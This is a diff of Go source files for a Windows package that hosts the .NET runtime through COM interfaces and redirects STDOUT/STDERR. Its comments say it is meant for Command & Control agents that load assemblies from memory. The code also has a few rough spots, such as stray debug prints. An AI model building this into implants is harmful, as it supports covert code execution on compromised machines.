err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+211
View File
@@ -0,0 +1,211 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type ICLRRuntimeInfo struct {
vtbl *ICLRRuntimeInfoVtbl
}
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
// including version, directory, and load status. This interface also provides runtime-specific functionality
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
type ICLRRuntimeInfoVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// GetVersionString Gets common language runtime (CLR) version information associated with a given
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
GetVersionString uintptr
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
// This method supersedes the GetCORSystemDirectory method.
GetRuntimeDirectory uintptr
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
IsLoaded uintptr
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
LoadErrorString uintptr
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
// This method supersedes the LoadLibraryShim method.
LoadLibrary uintptr
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
// this interface. This method supersedes the GetRealProcAddress method.
GetProcAddress uintptr
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
GetInterface uintptr
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
// process, taking into account other runtimes that might already be loaded into the process.
IsLoadable uintptr
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
SetDefaultStartupFlags uintptr
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
GetDefaultStartupFlags uintptr
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
BindAsLegacyV2Runtime uintptr
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
IsStarted uintptr
}
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
pwzVersion, err := syscall.UTF16PtrFromString(version)
if err != nil {
return nil, err
}
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
}
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRRuntimeInfo) Release() uintptr {
debugPrint("Entering into iclrruntimeinfo.Release()...")
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
// HRESULT GetVersionString(
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
// [in, out] DWORD *pcchBuffer);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
var pchBuffer uint32
hr, _, err := syscall.Syscall(
obj.vtbl.GetVersionString,
3,
uintptr(unsafe.Pointer(obj)),
0,
uintptr(unsafe.Pointer(&pchBuffer)),
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
return
}
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
if hr != S_OK && hr != 0x8007007a {
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
return
}
pwzBuffer := make([]uint16, 20)
hr, _, err = syscall.Syscall(
obj.vtbl.GetVersionString,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pwzBuffer[0])),
uintptr(unsafe.Pointer(&pchBuffer)),
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
version = syscall.UTF16ToString(pwzBuffer)
return
}
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
// HRESULT GetInterface(
// [in] REFCLSID rclsid,
// [in] REFIID riid,
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.GetInterface,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&rclsid)),
uintptr(unsafe.Pointer(&riid)),
uintptr(ppUnk),
0,
0,
)
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
// TODO Why is this error message returned?
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
// HRESULT BindAsLegacyV2Runtime ();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
hr, _, err := syscall.Syscall(
obj.vtbl.BindAsLegacyV2Runtime,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
// taking into account other runtimes that might already be loaded into the process.
// HRESULT IsLoadable(
// [out, retval] BOOL *pbLoadable);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
hr, _, err := syscall.Syscall(
obj.vtbl.IsLoadable,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pbLoadable)),
0)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+231
View File
@@ -0,0 +1,231 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type ICORRuntimeHost struct {
vtbl *ICORRuntimeHostVtbl
}
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
// domains running in the process.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
type ICORRuntimeHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// CreateLogicalThreadState Do not use.
CreateLogicalThreadState uintptr
// DeleteLogicalThreadSate Do not use.
DeleteLogicalThreadState uintptr
// SwitchInLogicalThreadState Do not use.
SwitchInLogicalThreadState uintptr
// SwitchOutLogicalThreadState Do not use.
SwitchOutLogicalThreadState uintptr
// LocksHeldByLogicalThreadState Do not use.
LocksHeldByLogicalThreadState uintptr
// MapFile Maps the specified file into memory. This method is obsolete.
MapFile uintptr
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
GetConfiguration uintptr
// Start Starts the CLR.
Start uintptr
// Stop Stops the execution of code in the runtime for the current process.
Stop uintptr
// CreateDomain Creates an application domain. The caller receives an interface pointer of
// type _AppDomain to an instance of type System.AppDomain.
CreateDomain uintptr
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
GetDefaultDomain uintptr
// EnumDomains Gets an enumerator for the domains in the current process.
EnumDomains uintptr
// NextDomain Gets an interface pointer to the next domain in the enumeration.
NextDomain uintptr
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
CloseEnum uintptr
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
CreateDomainEx uintptr
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
CreateDomainSetup uintptr
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
// evidence to pass to CreateDomain or CreateDomainEx.
CreateEvidence uintptr
// UnloadDomain Unloads the specified application domain from the current process.
UnloadDomain uintptr
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
CurrentDomain uintptr
}
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
// from memory (afaict)
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
var runtimeHost *ICORRuntimeHost
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
if err != nil {
return nil, err
}
err = runtimeHost.Start()
return runtimeHost, err
}
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into icorruntimehost.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
fmt.Println("1111111111111")
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
fmt.Println("222222222222222222")
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *ICORRuntimeHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICORRuntimeHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Start starts the common language runtime (CLR).
// HRESULT Start ();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
func (obj *ICORRuntimeHost) Start() error {
debugPrint("Entering into icorruntimehost.Start()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Start,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
// The system could not find the environment option that was entered.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
}
if hr != S_OK {
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
// HRESULT GetDefaultDomain (
// [out] IUnknown** pAppDomain
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetDefaultDomain,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&IUnknown)),
0,
)
if err != syscall.Errno(0) {
// The specified procedure could not be found.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
// HRESULT CreateDomain (
// [in] LPWSTR pwzFriendlyName,
// [in] IUnknown* pIdentityArray,
// [out] void **pAppDomain
// );
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
debugPrint("Entering into icorruntimehost.CreateDomain()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.CreateDomain,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
0,
0,
)
if err != syscall.Errno(0) {
// The specified procedure could not be found.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// EnumDomains Gets an enumerator for the domains in the current process.
// HRESULT EnumDomains (
// [out] HCORENUM *hEnum
// );
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
hr, _, err := syscall.Syscall(
obj.vtbl.EnumDomains,
(uintptr(unsafe.Pointer(hEnum))),
0,
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+82
View File
@@ -0,0 +1,82 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
type IEnumUnknown struct {
vtbl *IEnumUnknownVtbl
}
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
type IEnumUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// Next Retrieves the specified number of items in the enumeration sequence.
Next uintptr
// Skip Skips over the specified number of items in the enumeration sequence.
Skip uintptr
// Reset Resets the enumeration sequence to the beginning.
Reset uintptr
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
Clone uintptr
}
func (obj *IEnumUnknown) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *IEnumUnknown) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Next retrieves the specified number of items in the enumeration sequence.
// HRESULT Next(
// ULONG celt,
// IUnknown **rgelt,
// ULONG *pceltFetched
// );
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
debugPrint("Entering into ienumunknown.Next()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.Next,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(celt),
uintptr(pEnumRuntime),
uintptr(unsafe.Pointer(pceltFetched)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
return
}
if hr != S_OK && hr != S_FALSE {
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
hresult = int(hr)
return
}
+117
View File
@@ -0,0 +1,117 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type IErrorInfo struct {
vtbl *IErrorInfoVtbl
}
// IErrorInfoVtbl returns information about an error in addition to the return code.
// It returns the error message, name of the component and GUID of the interface in
// which the error occurred, and the name and topic of the Help file that applies to the error.
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
type IErrorInfoVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
// GetDescription Returns a text description of the error
GetDescription uintptr
// GetGUID Returns the GUID of the interface that defined the error.
GetGUID uintptr
// GetHelpContext Returns the Help context ID for the error.
GetHelpContext uintptr
// GetHelpFile Returns the path of the Help file that describes the error.
GetHelpFile uintptr
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
GetSource uintptr
}
// GetDescription Returns a text description of the error.
// HRESULT GetDescription (
// BSTR *pbstrDescription);
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
debugPrint("Entering into ierrorinfo.GetDescription()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetDescription,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pbstrDescription)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
// HRESULT GetGUID(
// GUID *pGUID
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
debugPrint("Entering into ierrorinfo.GetGUID()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetGUID,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pGUID)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
// HRESULT GetErrorInfo(
// ULONG dwReserved,
// IErrorInfo **pperrinfo
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
if err != syscall.Errno(0) {
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
return
}
err = nil
return
}
+200
View File
@@ -0,0 +1,200 @@
// +build windows
package clr
import (
"bufio"
"bytes"
"fmt"
"os"
"sync"
"time"
"golang.org/x/sys/windows"
)
// origSTDOUT is a Windows Handle to the program's original STDOUT
var origSTDOUT = windows.Stdout
// origSTDERR is a Windows Handle to the program's original STDERR
var origSTDERR = windows.Stderr
// rSTDOUT is an io.Reader for STDOUT
var rSTDOUT *os.File
// wSTDOUT is an io.Writer for STDOUT
var wSTDOUT *os.File
// rSTDERR is an io.Reader for STDERR
var rSTDERR *os.File
// wSTDERR is an io.Writer for STDERR
var wSTDERR *os.File
// Stdout is a buffer to collect anything written to STDOUT
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
var Stdout bytes.Buffer
// Stderr is a buffer to collect anything written to STDERR
var Stderr bytes.Buffer
// errors is used to capture an errors from a goroutine
var errors = make(chan error)
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
var mutex = &sync.Mutex{}
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
func RedirectStdoutStderr() (err error) {
// Create a new reader and writer for STDOUT
rSTDOUT, wSTDOUT, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
return
}
// Createa new reader and writer for STDERR
rSTDERR, wSTDERR, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
return
}
// Set STDOUT/STDERR to the new files from os.Pipe()
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
return
}
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
return
}
// Start STDOUT/STDERR buffer and collection
go BufferStdout()
go BufferStderr()
return
}
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
// using the restored handles
func RestoreStdoutStderr() error {
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
}
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
}
return nil
}
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
// Only use when RedirectStdoutStderr was previously called
func ReadStdoutStderr() (stdout string, stderr string, err error) {
debugPrint("Entering into io.ReadStdoutStderr()...")
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
// returned because parent program is perpetually running
time.Sleep(1 * time.Microsecond)
// Check the error channel to see if any of the goroutines generated an error
if len(errors) > 0 {
var totalErrors string
for e := range errors {
totalErrors += e.Error()
}
err = fmt.Errorf(totalErrors)
return
}
// Read STDOUT Buffer
if Stdout.Len() > 0 {
stdout = Stdout.String()
Stdout.Reset()
}
// Read STDERR Buffer
if Stderr.Len() > 0 {
stderr = Stderr.String()
Stderr.Reset()
}
return
}
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
// that was changed to an *os.File
func CloseStdoutStderr() (err error) {
err = rSTDOUT.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
return
}
err = wSTDOUT.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
return
}
err = rSTDERR.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
return
}
err = wSTDERR.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
return
}
return nil
}
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
// and collect it into a buffer so that it can be collected and sent back to a server
func BufferStdout() {
debugPrint("Entering into io.BufferStdout()...")
stdoutReader := bufio.NewReader(rSTDOUT)
for {
// Standard STDOUT buffer size is 4k
buf := make([]byte, 4096)
line, err := stdoutReader.Read(buf)
if err != nil {
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
}
if line > 0 {
// Remove null bytes and add contents to the buffer
Stdout.Write(bytes.TrimRight(buf, "\x00"))
}
}
}
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
// and collect it into a buffer so that it can be collected and sent back to a server
func BufferStderr() {
debugPrint("Entering into io.BufferStderr()...")
stderrReader := bufio.NewReader(rSTDERR)
for {
// Standard STDOUT buffer size is 4k
buf := make([]byte, 4096)
line, err := stderrReader.Read(buf)
if err != nil {
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
}
if line > 0 {
// Remove null bytes and add contents to the buffer
Stderr.Write(bytes.TrimRight(buf, "\x00"))
}
}
}
+123
View File
@@ -0,0 +1,123 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
type ISupportErrorInfo struct {
vtbl *ISupportErrorInfoVtbl
}
type ISupportErrorInfoVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
InterfaceSupportsErrorInfo uintptr
}
// QueryInterface queries a COM object for a pointer to one of its interface;
// identifying the interface by a reference to its interface identifier (IID).
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
// HRESULT QueryInterface(
// REFIID riid,
// void **ppvObject
// );
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into iunknown.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer
// ULONG AddRef();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
debugPrint("Entering into iunknown.AddRef()...")
ret, _, err := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// Release Decrements the reference count for an interface on a COM object.
// ULONG Release();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
debugPrint("Entering into iunknown.Release()...")
ret, _, err := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
